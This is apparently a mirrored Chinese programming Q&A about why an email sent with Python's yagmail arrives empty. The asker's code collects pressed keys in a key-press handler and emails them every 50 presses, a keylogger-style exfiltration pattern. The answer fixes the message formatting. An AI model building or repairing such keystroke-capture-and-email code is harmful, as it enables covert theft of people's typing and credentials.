0

所以我正在尝试在 Python 中使用 yagmail 发送邮件,并且我有一个要发送的数组或列表。当我收到邮件时,里面没有内容。为什么?

import yagmail

keys = []

listToStr = ' '.join([str(elem) for elem in keys]) 


def send(keys):
    print('test')
    yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
    yag.send('myactualrecieverishere', 'Test', listToStr)

def on_press(key):
    global keys, count
    count += 1

    if count >= 50:
        count = 0
        send(keys)
        keys = []
4

1 回答 1

1

因此,在通过以下方式发送电子邮件之前,您需要了解一些事情yagmail

  • yagmail是基于 的包装库smtplib,它是通过 python 发送电子邮件的标准库。
  • 您可以发送Plain Text EmailHTML emails. 您的案例看起来更像一个Plain text email.

因此,通过发送邮件在yagmail功能上应该与smtplib.

所以,代码应该大致是这样的:

import yagmail

keys = ['a','b','c','d']
listToStr = ' '.join([str(elem) for elem in keys]) 

message = """\
Subject: Hi there. My list is {}.

This message is sent from Python."""

yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', message.format(listToStr))

这应该发送一封带有文本message{}替换为 的纯电子邮件listToStr

尝试上述方法,然后在方法中分解您的代码以实现您的功能。

于 2020-05-10T09:20:20.433 回答